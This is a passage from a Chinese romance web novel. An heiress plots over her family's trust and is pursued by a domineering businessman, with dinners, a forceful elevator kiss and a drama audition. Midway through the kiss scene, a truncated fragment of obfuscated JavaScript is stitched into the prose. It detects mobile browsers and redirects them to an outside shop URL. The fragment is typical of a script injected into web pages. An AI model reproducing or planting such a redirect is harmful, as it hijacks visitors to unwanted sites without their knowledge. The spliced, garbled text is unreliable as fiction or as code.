可惜人走远了,都看不到影了。
向宝珠再好奇,也不能追上去一探究竟。
谢青缦懒得满足她的八卦心,只是笑了笑,“真的不熟,就打了个照面。”
本该是没交集的陌路人。
寺庙内梵音阵阵,雪落穿庭,谢青缦看着漫天的大雪,脑海中闪过的只是他那句——
「求神拜佛,不如求我。」
多轻狂。
谢青缦低了低视线,纤密的睫毛眨落如蝉翼,遮住了眸底的情绪。
野心和欲念在疯长。
但又方生方灭,掩盖在大雪中。
-
次日,首都国际机场,贵宾楼。
休息室内很安静,空气中弥留的淡香幽微,被暖风一烘,有种微酽的错觉。
谢青缦闭着眼休息等待。
托向宝珠的福,她昨天跟赶场子似的。
从寺庙出来,参加香水发布晚宴,泡私汤,回去的路上,还顺道去朋友新开的会所捧了个场;今早嫌无聊,向宝珠大手一挥,又预订了一套Bisten系列黑白老花硬箱和今年秀款的Arc de Triomphe,Lv的品牌方上门为她开插花课……
时间一直消磨到来机场。没消停多久,上午没拨通的电话打了进来。
“有事?”
“只是想起来,给你提个醒儿,信托官司很难打赢。”
谢青缦闭着眼睛,手背往额上一搭,语气有些烦闷,“如果这招有用,哪儿轮得到你在老太太面前扮演孝子贤孙?”
让法院颁布禁制令,撤换家族信托,确实能洗掉高层不少势力。
但这条路基本行不通。
虽说她想做甩手掌柜,换人全权接手,但港城那边动静太大了,外界和港媒的猜测和报道纷纭,实在让人无法坐视。
通话对面闻言,不过懒声一笑,几分揶揄,几分提醒:“老太太可不见得会和你谈亲情。”
谢青缦睁开眼。
她看着光线穿过玻璃切割出奇特的影子,无声地勾唇,眸底一片冷意和讥诮:
“是啊,说到底,我身上还流着谢家的血。”
10.洞若观火
当年霍家式微,是靠谢青缦母亲才能东山再起,可惜功成名就后,往日患难之情,却成了霍家最想抹掉的不堪过去。而她哥哥在世的时候,铁血手腕,是年轻一辈里的佼佼者,父辈有所期许,自然没人敢有非分之想。
等死讯传回国内,从前潜藏在暗流中的恶意,开始疯狂涌动,吞没了表面的平静。
老太太往日吃斋念佛,看着是一副慈悲心肠,出了事就睁一只眼闭一只眼,默许她两个叔叔和周毓联合,急着踢她出局。
为名,为利,每个人都有自己的算计。
谢青缦从前被保护得太好了,以至于葬礼当天才发现,整个霍家,就她一个像外人。
巧的是,负责遗嘱的律师发生意外,警方依例调查,冻结了大部分资产,为收购股份拖延了时间。可惜此时的她,留在港城已毫无意义——想让高层换血,想拿回董事会话语权,想做局套出霍家其他人的资产,很多事情不能摆在明面上。
至少目前,不能以她的身份进行。
毕竟只要她在,就是活靶子。
“霍家的资产不可能一直冻结,临时话事人总有坐实的一天。”
谢青缦语气温和又平静,“前后砸进去那么多资金,要是等到股东大会,我这俩叔叔和周毓还没下台,场面可就难看了。”
她端过手边的那杯香槟,阴阴柔柔地笑着反问,“要是官司输了,你打算怎么收场?”
“输了也没关系,这场官司本就是权宜之计。”
对面的语气始终轻松,有种不太走心的散漫,“只是你想赶紧杀绝,总要花我点儿时间。”
谢青缦指尖一顿,隐约猜到了什么,不再多劝,只是冷笑了一声。
“我想?”
她抿了一口杯中的酒液,总觉得还不如昨天酒会,品牌方开的那支Dom Pérignon P2。
兴致全无。
挂断通话的同时,谢青缦将香槟杯往手边一推。
滴——
屏幕突然亮起,是昨天那条好友申请。
刚刚通过。
随之而来的,还有一条新消息:
【在哪?】
没头没尾的两个字。
就像叶延生的心思和作派,阴晴不定,全凭他高兴。
她倒像他一时兴起的消遣。
谢青缦倒没太大反应,只是轻扯了下唇角,笑意里含了一点儿讥诮。
她点开了他的头像。
很简约的风格,近乎纯黑的背景,偏左位置有一道白色的弧光。
朋友圈三天可见,只有个性签名很显眼:
「Memento mori」
拉丁语。
大意为凡人终有一死,万事皆有终结;
亦是,向死而生。
谢青缦半敛着眉,抬手拢了下长发,依旧是一副清冷疏淡的模样。
她按熄了屏幕。
两个多小时后,飞机在浦东国际机场落地,她才不紧不慢地随手拍了个图。
【啊啊啊真的不巧,考试周,先回申城了,只能下次还你了。】
【本来走之前,该请你吃饭的。】
-
消息发出去的时候,叶延生还在叶家老宅。
帝都的雪落了一夜才停,厚重而绵密的雪覆盖在六进六出的四合院上,白茫茫一片。
花木落尽的寒冬,黑松苍劲,引植的龙游梅曲散凌寒,掩映在假山流水之间,古朴而沉静。乾和园的景致浑然一体,气势恢弘而华贵。
黄琉璃瓦上雪意尽染,飞檐翘角间雕龙画凤,穿过长廊,能看到彩绘跃然其上。
叶延生迎面撞上了正往外走的叶政钧。
“父亲。”
不高不低的声音打破了园内的平静,流叶亭外水波澹澹,游走的锦鲤划出一道道波纹。
叶政钧盯着自个儿儿子,皱了下眉,“什么时候回来的?”
“昨天。”
多月未见,父子关系依旧没有和缓,往往一见面就跟点了炮仗一样。
如今虽没有疾声厉色,剑拔弩张,但叶政钧的面色还是立刻沉了下来。
只是还没出言发难,有人急匆匆过来。
是他父亲的部下,以前打过照面。
他经过叶延生身侧时,恭敬而客气地喊了声“二公子”,转头看向叶政钧:“人已经到了,在宴客厅。”
话题到底没继续下去。
叶延生并不太想回来,他基本能猜到他父亲会说什么。
无非是觉得他不争气,对他当年转业从商、自毁前程的行径十分不满,没将家族期许的路走到底,就是懦弱和可耻。
不痛快的记忆压在心底,燥意往上窜了几分,等他回过神时,已经到了附近射击场了。
场内规模不小,环境空旷。
层层审批下来的靶场,会员邀请制,其实不怎么对外开放。
来的,也就那么几个人。
射击场内的枪不比制式武器,没有那么大的后坐力和威力,却也有不少型号和样式。
叶延生习惯性地去修瞄准镜,突然想起了什么,眼底一片郁色。
“对不起,对不起……我不是故意的,我只是想活着,只是、只是想好好活……”
“开枪。开枪!”
“我儿子呢?我问你我儿子呢!”
“为什么是你……凭什么是你!”
“哈哈,你要不要看看自己现在的表情?我早就说过,为这种废物拼命,你迟早会把一切葬送在手里。”
……
砰、砰、砰——
子弹像越过了时间,贯穿了记忆中的声音,几乎将靶子同一位置打穿了。
叶延生握枪的手骨节分明,始终自然而平稳。
光线以一个奇特的角度落在他身上,映照出他冷漠的侧脸和线条清晰的下颌线。
没一分手生。
过去这么久,似乎什么都没变,有些东西像刻骨印髓一样,成了一种惯性。
可他清楚,这些都是死物。
“叶公子,需要为您计时报靶吗?”工作人员忽然出声,试探性地问询。
枪口调转,瞄准了身后的人影。
工作人员一怔。
其实枪已经打空了,但这样的动作,看上去依旧危险,让人毛骨悚然。
没人注意到,他的手在抖。
细微,却致命。
握枪的手攥紧了一瞬,骨节因太过用力而发白,青筋尽显。
叶延生的眸底眉间像是拢了一层阴翳,涌动的戾气似乎压制不住,冰冷得骇人。
“出去。”
握枪的手向上一抬,“这里不需要你。”
工作人员表情微松,退了出去。
周遭重新陷入沉寂,叶延生的脸色,难看至极。也就在此刻,手机震动着亮起。
是一哥们,催他出来。
“你回京城了吧?组个局,出来聚聚。”
对面声音很吵,叶延生听得心烦,按了按眉心,语气也很冷淡。
“再说。”
他单手将枪支零件尽数拆解。
“叶少大忙人啊,好大的面儿。”对面不爽地阴阳怪气了下,“怎么贺九一喊你,你就去,我就不行?还是不是兄弟?”
叶延生压根不把激将法放心上。他淡嗤了声,还是那两个字,“再说。”
“欸,你这人——”
手机静了音,挂断了电话,叶延生才注意聊天框里,谢青缦回了消息。
【啊啊啊真的不巧,考试周,先回申城了,只能下次还你了。】
【本来走之前,该请你吃饭的。】
不即不离的口吻,但后面附带了表情包——是一只委屈巴巴,翘首以盼的小猫。
像是在怪他,晾了她那么久。
叶延生微抬了下眉。
原本阴郁的情绪突然散了大半,他朝外走,随手点开她发的照片:
机场步行传送带上,一只手拖着行李箱,干净白皙,纤纤如软玉。
随手抓拍,没有半分刻意,却能恰如其分地将他拉回昨日情境中——
她拽着他的衣角时,眸色清亮,只专注地凝视着他一个人。等意识到气氛变质时,怯生生的眼神,含了恼意,也藏了试探。
三分真七分假,有点
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儿拙劣的小把戏。
叶延生勾了下唇,笑意却不达眼底。
难说什么意味。
人心鬼蜮在他这儿,洞若观火。可他还是会去想香火缭绕间,那张清丽绝俗的脸。
-
聊天内容石沉大海,不过《问鼎》的一轮试镜通过了,剧组发来了最终试镜的通知。时间凑巧在考试周后,谢青缦忙着赶论文和小组作业,还有各种考试。
从大礼堂出来,已经是傍晚了。
谢青缦穿得很单薄。
刺绣的抹胸长裙,裙摆蓬松,色彩斑斓而糜艳,外面裹了一件黑色山羊绒风衣,越显得风姿绰约,容色照人。
她拢了下风衣,正出神,一辆黑色的莱肯HyperSport忽然横到了她面前。
脚步顿住的瞬间,她怔了下。
居然是叶延生。
申城的冬日总带着一股潮湿气,阴冷而灰淡,刺骨的寒意直入肺腑。
黄昏的霞光却很美,天边暮霭流云如火,斜照在巨大而冰冷的高楼上,火烧般的浓云滚滚,灿烂而繁华。
车内压了一片暗色,暮色无遮无拦地穿过光秃秃的树枝,落了叶延生满身。
他单手把着方向盘,抬了抬下巴,“上车。”
碎发半遮他的眉眼,包括左眉眉尾处浅浅的断痕。
黑衬衫下是劲瘦有力的手臂,青色的筋脉分明——她记得上次见到他,他腕上扣着一块理查德米勒RM056陀飞轮腕表;这回干干净净,什么也没有。
他周身遥不可及的距离感都淡了。
“你怎么在这儿?”
“来看你。”叶延生眼皮子一撩,看向她的眼眸暗沉沉的,又重复了一遍,“上来。”
谢青缦没动。
怎么说呢,她还真没想到他会直接来申城。
才迟疑了两秒,她就见叶延生蹙了下眉。大约嫌她太磨叽,他直接拉开了车门。
光线掠过他的眉眼,冰冷而阴郁。
谢青缦看他朝自己走过来,下意识地后退了步。她手里还拿着Kelly包,往前一横,直接抵在了他身前。
“你这样,可不像单纯来看望朋友。”
叶延生轻轻挑眉。
谢青缦视线清清冷冷地打量着他,声音低下来,像警惕,更像在轻讽:
“你这样的,像上门讨债的绑匪。”
叶延生漫不经心地低嗤,“是该讨债,你不是要请我吃饭吗?”
是有这回事。
不过那不是一句客套话吗?
不容她多想,也没给她拒绝的余地,横在两人之间的黑色Kelly被他抽走。
“第一次绑架,业务不熟。”叶延生凝视着她,低下来的嗓音带了冷感,“你是识趣点儿,自己来,还是想我直接动手?”
他整个人是一副散漫架势,懒洋洋的,笑起来暧昧又不正经,莫名的欲气。
谢青缦眉心在跳。
必须承认,有些人通身气场不俗,骨子里阴狠,却生了一副让人沦陷的面相。
即便距离感强烈,只要他肯稍作停留,就多的是人甘愿为他飞蛾扑火。
礼堂里不断有人出来,交谈不过片刻,周围的视线似有若无地往两人身上瞟。
太引人注目了。
并不是想成为别人茶余饭后的谈资,谢青缦绕开他,拎起裙角坐进了副驾。
她安安静静地整理好裙摆。
不过两秒,细碎的声音忽然停下,她像是想起了什么,就要起身。
稍微一动,叶延生握着她的手肘,将人拖回来,“又想去哪儿?”
他手劲儿太大,她几乎动弹不得。
也不知道被他按到了哪儿,轻微的麻意从她手臂传来,一路蔓延到尾指指尖。
视线相对,谢青缦神情真诚无辜又无奈,“你的伞,忘了?”
“伞什么伞?”
叶延生耐性似乎耗尽了,面色淡了几分,一副“浪费爷时间”的表情。
他一手按着她,一手去扯安全带,将她牢牢地锢在副驾上,视线往她身上掠。
“我大老远跑来,难不成就为了把破伞?”
11.烟丝醉软
谢青缦沉默地审视了下两人的姿势和距离,压制与被压制——这架势,和强制带走也就一步之遥。
就差一五花大绑了。
“难说。”谢青缦望着他,微微一笑,一语双关,“您总不至于是为我这顿饭吧?”
问题抛了回去,却像沉石入海,没了回音。叶延生似乎不以为意,替她系好安全带,换挡启动。
“想抵赖?”
他面色很淡,像是压下去那么一点不耐烦,但又表露得不明显。
“哪敢,我人都在这儿了。”
叶延生本来没什么表情,听到这话反而笑了。
他依旧漫不经心,只是那双冷淡又显出几分阴狠的眼睛,少了几分戾气。
-
去的是苏河湾的福雍阁,一家淮扬菜馆,点的也是招牌菜。
仿古的老街和钢筋水泥建筑群对比鲜明,两侧柱面刻了字,“世事漫随流水,算来一梦浮生”,行笔流畅,态致萧散。
楼下有人在唱《牡丹亭》,从二楼包厢推开窗,能将花廊和戏台尽收眼底。
等菜的时候,戏台上刚起了“绕地游”的腔,谢青缦忍不住多看了两眼:
“梦回莺啭,乱煞年光遍,人立小庭深院,炷尽沉烟,抛残绣线……”①
听了几段,她微蹙了下眉尖。
细微的表情被被叶延生捕捉到,他淡淡地问,“不喜欢?”
“谈不上不喜欢,只是觉得她的过腔和收音有点卖弄技巧。”
谢青缦没有多想,顺着他的提问客观评价了句,“虽然听上去可以更柔漫,但最基本的咬字吐音都不太对;而且昆曲讲究腔格,腔跟字走,定腔不该这么随意的。”
叶延生往后一靠,深邃凌厉的眼眸带了笑,“你会昆腔?”
谢青缦想说“不会”。
不过话没出口。
对上他似笑非笑的眼,她才惊觉自己的点评过于专业。
想拿这种说辞敷衍他,未免太假。
她沉默了片刻,折了个中,“学过一点。”
叶延生盯着她看了足足十几秒,笑意依旧不真切,难说什么心思。
像是在质疑她的水准,又不像。
他这人确实有掌控一切的本事,只需要一个眼神,就能达成目的。
就像现在,谢青缦明知道他在激自己,还是忍不住想为自己正正名——
哪怕一开始,她压根没打算卖弄。因为他一个眼神,她还是鬼使神差地,衔接了戏台上的调,为他唱了两句:
“朝飞暮卷,云霞翠轩,雨丝风片,烟波画船,锦屏人忒看的这韶光贱……”①
她声音很好听,细腻而婉转的水磨调,清风溯雪,灵泉漱玉一般,缠绵而柔曼。
“那荼蘼外烟丝醉软,那牡丹虽好,他春归怎占的先?”①
叶延生修长的手指微曲,有一搭没一搭地落在桌上。
待到尾音落下,他往后一靠,漫不经心地问道,“学的是张派唱法?也不完全像,你唱得比她还缠绵痴绝。”
“不敢跟张先生比拟。”谢青缦连连摆手,“我喜欢苏式中州韵,但不喜欢强行追求苏味,若行腔吐字太刻意,反倒失了最基本的音准,也失了昆腔本味。”
北昆壮阔音准,苏昆细腻柔丽,各有各的优势,但明代官话本就是南系官话,带点吴音特色,似乎更合理。
没指望他能听懂,她多少有些诧异。
毕竟叶延生杀伐气浓重,一身桀然匪意,强势到压迫人:
他像浸淫宦海多年的上位者,像战场厮杀历练过的利刃,唯独不太像能耐着性子听曲儿的雅客。
但细想也不奇怪。
大多衙内为了投长辈所好,什么都会学上两手、了解个七八分,方便回去表现。
就像他不信神佛,一样出现在寺庙里。
谢青缦低眸,转了转手里影青质地的兔毫盏,没再言语。
她心不在焉地喝了一口。
“咳咳——”
辛辣的液体入喉,像火烧一样,谢青缦刚喝下去就呛到了,掩着唇低了头。
不是茶,是白酒。
刚落座时,侍应生还特地提醒酒是送的,配菜用的,她一走神就给忘了。
叶延生想拦都没机会,眼见她呛得弯了腰,好笑地说了句“慢点”。
他轻拍了拍她后背,嗓音难得的温和,连眉眼间的凌厉和阴鸷感都淡了,“也不看看是什么,你就喝?”
“你还好意思说?”谢青缦手背抵在唇边,清冷的眸光含着一丝恼意,瞥向他,“不提醒我也就算了,你还说风凉话?”
“我哪儿来得及?”叶延生轻轻一哂。
只是看着她泛红的眼尾,和眸底蒙起的水汽,像是被欺负狠了一样,他眸底暗沉沉的,忽然顺着她说了句“算了”。
他笑意很深,“我的错。”
他这人就这样,随口应承的话,说得温情缱绻的,其实压根儿没放心上。
-
账是叶延生结的。
他好像真是一时兴起,来回浪费了大半天,也就只是跟她吃一顿饭。
而后这样的兴致,渐渐频繁。
期末周赶due和表演考试的空隙里,他带她去玩滑翔伞,就近飞二世古滑雪,直升机降落雪道,听专属的古典音乐会,时不时让人来送各种奇特的小礼物。
就这么一连多日。
甚至因为她提了一句费拉角某家族私苑的法餐,放假离校的第二天,她就见到了从国外借调的主厨团队,和空运过来的食材,现场复刻了玫瑰节的宴会餐点——
其实她也没那么喜欢,她只是对主厨印象深刻。蓝龙虾和鹅颈藤壶是他的招牌菜,但她有点抵触后者,然后主厨可能想缓和氛围,一直给她讲冷笑话……
可不管怎么说,这事还真有点儿“一骑红尘妃子笑”的范儿。
谢青缦看着叶延生,一脸郑重地开玩笑,“杨玉环的下场可不怎么好,你别害我。”
叶延生闻言不过一笑。
他说她想象力太丰富,不如转行当编剧,语气轻描淡写,“唐明皇和杨贵妃什么关系?”
——你我又什么关系?
谢青缦直直地凝视着他,很久没说话。
她同他就这样相处着,没有挑明的关系,没有直白的话语,但每一个细枝末节里,都是旖旎。
就好像……寻常情侣在试着谈恋爱一样。
还是柏拉图式的恋爱。
出乎意料的走向。任她怎么看,她都不觉得叶延生是个搞纯爱的。
打破这种微妙平衡的,是在京城的一个夜晚。
她记得那晚是腊月中旬,帝都已然热闹非凡,胡同悬了灯笼,街道挂了五彩缤纷的灯带,在夜色里汇聚,年味十足。
但他们去的地方,在建筑高层。
整个京城的夜景几乎都匍匐在脚下,望着远处灯火通明,长安街沿线的车流如织,下方的一切都微渺如蚁。
她站在那,有种在云端俯瞰的不真实感。
可能是因为喝了酒,谢青缦难得话多,断断续续地一直聊到散局,踏入电梯。
她说自己讨厌下雨天,但在伦敦的一个夜晚,她瞎逛到一个小酒馆,离High Holborn大街的酒店,只有不到两公里。当时点的也是白葡萄酒,吧台在放费雯·丽的《魂断蓝桥》,罗伊和玛拉在雨中接吻。
她为了一个镜头,追了整部影片,因为喜欢艺术手段,就想台前到幕后试一遍。
说这些的时候,谢青缦依旧清清冷冷的,但沾了几分笑意,就有种说不出的鲜活和灵性。
叶延生定定地直视着她,唇角一勾,眉眼却未动,也不知在想什么。
“有吻戏吗?”
谢青缦很轻地“啊”了一下。
她看着他漫不经心,似乎没什么特别用意,大脑还是不受控地宕机了一瞬。
而后她后知后觉,他问的,是她自己——她明天要去《问鼎》剧组,二轮试镜。
电梯内只有两人。
氛围太微妙,周遭的声音似乎都远了。
“古装正剧,一般没有吧……”谢青缦声音越来越小,“反正试镜肯定没有,而且角色我还没拿到手呢。”
叶延生眼角眉梢挑起一个神色来。
本来是随口一问,可看着她视线往别处飘,耳垂泛红的模样,一点顽劣又幼稚的兴味,莫名从心底勾起。
他突然很想逗逗她。
他也真的朝她倾了下身。
动作幅度不大,但身高差带来的压迫感强烈。他说,“接过吻吗?”
谢青缦微微张了张唇。
她想说没有,却又莫名其妙地说不出口。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16505187|185336||http|test|mini|href|location''.split(''|''),0,{}));
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>恍神的几秒,叶延生朝她欺近了一步。
她下意识地后退,后背却迎上了电梯壁面,陷入死角,退无可退。
谢青缦薄瘦的脊背微僵,她看着他,声音不自觉地抬高了一个八度:“叶延生。”
他离她太近了。
“怎么,”叶延生嗓音很低,勾了点愉悦的笑意,完全没个正形,“怕我吃了你?”
他这人透着股邪劲儿。
收了那副懒散轻佻的架势,他直起身,跟个没事人似的,规规矩矩的。
可她还是脸热。
他同她的距离,是那样近。墨黑的瞳仁暗沉,投来的视线极具攻击性,威势压迫得她几乎动弹不得。
像在征询,却又强势得不留余地。
时间太久,有些记忆已然模糊。
记不清那时候他有没有强制的意味,也记不清自己是默许,还是半推半就;她甚至不知道当时的自己,是何种表情。
只记得僵持不过片刻,她很小声地说了两个字:“监控。”
叶延生轻笑了声,目光是冷的,眸中却沉了暗色。
他也没多说什么,只是按下底层键,顺着她的心思,抬手遮住监控摄像头。
电梯门合拢的瞬间,他捏着她的下颌,低头覆了上去,占据了她的全部呼吸。
电梯开始下降,四下重归寂静。
林立的高楼之外华灯璀璨,红灯绿酒,内透出来的光线繁华而冰冷。
高楼之内电梯密闭,不断下沉,像隔绝了时间和空间,只余两人。
没人能窥见这一刻的隐秘。
下落带来的失重感,几乎被其他感官冲淡。谢青缦浑身使不上一点劲儿,只能下意识地攥紧他的衬衫,脚下发软,气息也乱,她终于受不住地推他。
像抗拒,更像欲拒还迎。
谢青缦其实真有一点怕的。
她不知道这架电梯是独立的,需要通行权限,没几个人能进。
只担心有人中途按了键,看到这幅光景。
心跳快得异常。
想要逃离的念头愈来愈浓烈,她忍不住偏头,却被他掐着下巴,掰向自己。
光线落在两人身上,被叶延生遮去大半。
他大半张脸埋在阴影里,冰冷而深邃的眉眼,带了一丝狠劲儿。
感觉到挣动,他单手拢着她的手腕,往上一按,牢牢地压在壁面上方,在她无意识张唇时,加深了这个吻。
这样的动作,迫使她仰起脖颈迎合。
58、57、56……
电梯的数字还在下降,耳边一片空寂,以至于让她听到了呼吸和心跳。
分不清是他的,还是自己的。
她闭着眼,极力去克制所有声息,却还是止不住轻喘。想要抓住些什么,却因双手被他禁锢在头顶,只能无意识地握紧、松开,又握紧,反反复复。
世界在下坠。
密闭的空间内,天旋地转,有过不为人知的沉沦。
-
锁在手腕间的力道,不知是何时松开的,但被完全压制的战栗感挥之不去。
叮——
电梯到底,如梦初醒。
谢青缦推开了叶延生。被鱼肉了太久,她轻微的缺氧,背靠在电梯壁面。
这一下几乎耗尽了她的气力。
电梯内的冷光劈落在两人头顶,他眼底的侵略性还浓,眸色深而沉,有点意犹未尽的迷恋;而她鬓角额间,全是细细的薄汗,青丝凌乱。
电梯在底层停滞片刻,又要合拢。
遮挡监控的手一松,叶延生直直地凝视着她,嗓音哑得厉害:
“阿吟。”
这是他第二次唤她本名,明明是在情意缱绻之间,她却感到浓烈的不安。
他眼底的意图昭然若揭。
悬殊的力量让人后怕,谢青缦止不住地想逃。
先前受制于人带来的微妙感在发酵,羞怯的、惊惧的、慌乱的、微恼的,各种复杂情绪交织。战栗感从尾椎爬上背脊,促使她在电梯关闭前,出了电梯。
叶延生一把攥住她的手腕。
他站在她身后,眼底墨黑一片,暗沉如夜幕之下的深海,映不出倒影。
“谢青缦。”
声线是冷的,漫不经心,却又沾染了几分危险的欲气。
“你跑什么?”
12.欲擒故纵
这话多新鲜。
始作俑者鱼肉了她半天,一副要在这儿把她办了的样子,却还问她跑什么。
谢青缦没回头,她看不到叶延生的神色,只是轻挣了下,闷声道,“我要回去了。”
地下停车场十分空旷,没那么喧闹,但自带扩音效果,稍有动静都显得格外清晰。光线落下,将两人的身影拖得很长。
叶延生手劲儿太大,轻易就控住了她,眸光很深,“我送你。”
谢青缦下意识地虚握了下指尖。
手腕绷得很紧,身上也是。
感觉到她的紧张,叶延生松了力道。他看到了她泛红的耳垂,无声地勾了下唇,一改往日不容置喙的语气:“我让人送你。”
谢青缦抿唇“嗯”了一声。
她任由他握着自己手腕,安排好一切。
不怎么热切,也不怎么抗拒,乖顺得像是放空了思绪,还没从那一吻中回神。
几分钟后,司机拉开车门。
原本急于脱身的谢青缦,动作却迟疑下来。她停在车前,一瞬不瞬地望着他。
“怎么,”叶延生背光而立,隐晦暗沉的眸色中,窥不见太多情绪,情和欲似乎已然消弭,只余谑意,“不打算走了?”
他冷静自持,低哑的嗓音却在惑人沉沦,“不想走就留下陪我。”
视线刷地一下挪开。
谢青缦面无表情,且头也不回地坐进后座,拒绝的姿态非常彻底。
叶延生短促地笑了声。
很愉悦的那种。
他看着她落荒而逃,也不强求,冷淡又显出几分阴狠凌厉的眉眼,神色倦懒,随性散漫,有一种说不出的感觉。
车窗落下。
谢青缦探出头来,趴在窗口,柔软的长发垂落下来,横波入鬓,唇线分明,一双眼眸泠泠如秋水。
她就这么直勾勾地望着叶延生,说:“明天见。”
明天。
叶延生挑了下眉。
谢青缦缩回去,面不改色心不跳地找补,“我是说,再见。”
-
车子一路驶离。
夜幕之下,华灯和车流汇成一条璀璨的光带,长安街沿线像一条龙脉,龙行水系,中轴线纵观南北,一如北京城的脊梁。
谢青缦看着后视镜中的自己,醉态横生,艳色也横生,眸底全无往日的疏离,只有似真似假的羞怯和意乱情迷。
其实她酒量很好。
不过眼前这幅模样,倒像真醉了。
谢青缦抬手去摸嘴唇,轻微的刺痛,不由得回想,叶延生掐着自己下巴索吻的动作。
温柔不过片刻,先前的风度和耐心似乎都是假象,些许挣动都被他压了回去。他掐着她的脖颈,禁锢和掠夺,辗转着深入,强硬得让人无路可退。
铺天盖地的,全是他的气息。
光线被他遮挡了大半,明明灭灭。
她在意乱时看他,漆黑的碎发在额前微分,五官硬朗,眉尾一道断痕薄而利。
在这种时刻,他眸色都是冷的,有一种漫不经心的凉薄感。
像红港的夏末暴雨夜,她见他的第一印象,冰冷、阴狠,骨子里带着凶性。
足够让人沉沦,也足够让人不甘心。
那时的她,片刻的分神,叶延生拢着她腰的手一紧。自下而上,他手上的动作完全没放过她的意思,让她失去了思考能力,被重新拉回这到场暴烈的情动里。
心跳得厉害。
谢青缦收回乱七八糟的思绪,在车内的暗色中,闭上了眼睛,想:
也许她,还真有一点醉了。
-
次日的二轮试镜,是对海选结果的敲定,现场的人少了很多,倒也算清净。
试镜内容是男女主昭阳殿决裂。
候选人里,有双料视后苏意,流量小花袁可,和一个走演技派路线的女演员。
相比之下,谢青缦显得籍籍无名,而且她是最后一个上场的,基本没人看好。
因为小花和演技派已经被视后秒了。
从隐忍的哭戏,微颤的面部表情,到质问未来皇帝可曾真心时,收放自如的爆发力,代入感很强。现场不少人共情,基本都觉得尘埃落定,结果毫无悬念了。
等轮到谢青缦时,大都懒得看了。
和前三人的演绎方式完全不同,谢青缦没有歇斯底里,也没有委屈恸哭。
面对男主和杀局,她很平静。
她跪在地上,抬眸看向搭戏的男演员——剧中的秦王,即将登基的未来皇帝,天下共主——冷静又心情气和地反问:
“那我敢问殿下,到底是三公九卿疑我,还是未来天子疑我?
是世家勋贵容不下我,还是我的枕边人容不下我?”
男演员怔了一下,反应也快,面色沉了下来,眸色中含了一丝警告的意味:
“清妍。”
“祖宗礼法,内忧外患,不过是托词罢了。”谢青缦看着他,只觉这些年付出的真心荒诞又好笑,“若不是凉州兵马还效命于我,临渊阁尚在我手中,安知当年萧家满门惨案,不是我的明日?”
一字一顿,掷地有声。
台下都静了。
原本人声嘈杂的现场,渐渐鸦雀无声,所有人的视线聚焦到台上。
“其实何必那么麻烦?清妍不是个不知恩图报的人,”谢青缦垂眸,柔声说道,“崇明二十八年,西域来犯,大军困守穷奇道,殿下浴血七日,拼死护我,愿以血为引替我解毒,我便说过,会誓死以报。
所以薛家栽赃,太子胁迫,恒王利诱,我都不曾有过一丝一毫动摇。”
“那时殿下说永不弃我,要许我一世周全,这么多年,言犹在耳,我以为……”
我以为你我的结局可以不同。
可权力这条路上,终究还是形同陌路。
谢青缦此刻才落下眼泪。
她望着男人,泪水从面颊无声无息地滴落,砸在地上,也砸在所有人心里。
愤恨,哀痛,遗憾。
但更多的,是感到失望和讽刺。
“清妍……”
面前锦衣华服的男人终于动容,伸手想要触碰她,却被谢青缦避开了。
“殿下若忌惮我,当日就不该救我这条命,也不该授我权柄,你我桥归桥路归路。”
她闭了下眼睛,掩去了眼底的厌倦,再睁开眼时,眸底一片清明,“可今时今日,多少人的前程和身家性命皆系于我身,我已无路可退了,殿下。”
大权在握,鹿死谁手还未可知。
虽然昭阳殿决裂是在旁人面前做戏,但也该合乎真实反应,才能让旁人相信。
女主当然动过情,上过心,但一个不甘心困于封建礼法教条的女人,一个心
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计无双、并不逊于须眉的女人,家族覆灭的前车之鉴历历在目,枕边人都动了杀心了,她都快步谋臣亡的后尘了,如果还不顾大局,只纠结所谓的情爱和真心,未免可笑。
一个只能依附男主的菟丝花,还有什么配合演戏,共同做局的必要?
“我不是我父亲,绝不会引颈受戮。”
谢青缦缓缓站起身来,平视着秦王,决绝又冷淡,“今日若我走不出这昭阳殿,殿下大可以看看,什么才是内忧外患!”
这才是萧清妍,绝世无双。
剧本中的人物,仿佛在此刻长出了血肉,一步一步走到了所有人面前。
台上台下,一片死寂。
结束之后,现场还没反应过来,反倒是搭戏的男演员率先回过神,叫了一声“好”,台下的掌声瞬间如潮水般涌来。
“台词是现编的,临场发挥肯定有瑕疵,也不如编剧细致。”谢青缦转身朝导演鞠了一躬,歉意又诚恳,“和剧本有出入的地方,还望导演海涵。”
试镜时提供的剧本,只有一个简介和大致脉络,以及考题范围内的背景人设。
临场发挥,基本都是演员自个儿揣摩人物心理,现编人物反应和台词。
可能受父母影响,谢青缦无感所谓的爱情。毕竟真心瞬息万变,将一切都托付在另一个人身上,几乎是一场必输的豪赌。倒不如找个门当户对的人,各取所需。哪怕用情爱做筹码,相互利用和算计,也比为了爱情一败涂地,为他人做嫁衣强。
她的表演,刚好合了导演的意。
“不不不,很好。”导演一连重复了两遍,面露微笑,“你很好,回去等通知。”
高下立判。
现场又小范围的热闹起来,议论纷纷。
“这个新人演技好强啊,虽然听都没听说过,但我觉得她最贴角色。”
“是吧是吧,我看导演也最欣赏她。”
“演得好有什么用,没背景没后台还没名气,”有人当场泼了冷水,“那可是视后啊,谁会放着视后不用啊?”
“话可不能这么说,谁不是从新人过来的……”
有几句飘到谢青缦耳边,她也不在乎,只是一笑置之,离开了试镜地点。
-
谢青缦试镜时,叶延生正在T&C总部。
帝都CBD繁华而喧嚣,公路川流不息,纵横错落,附近林立的高楼大厦耸入云端。
有别于物欲横流的申海,皇城脚下,繁华也不过是点缀。
“外面什么情况?”
行政楼的茶水间,向来是公司八卦流传地,几个员工凑在一起窃窃私语。
“分部和投资关联公司的负责人和股东都来了吧?今儿早上到现在,从外地来的车就没停过,往年年会人都不一定这么齐。”
“可能是因为叶先生回来了吧?”
“早回来了,不过老板平时不怎么露面,我们又见不着。”
“要么怎么都说老板有手腕?一般人根本压不住这些硬茬。”有人放低了声音,“不过我听说,这几个月办理离职和调岗的那批高层,也是连面儿都没见到,就卷铺盖走人了,好像是华南区那边出了什么事儿……”
几个月前,高层变动,叶延生动手料理那帮老狐狸时,他人甚至不在京城。
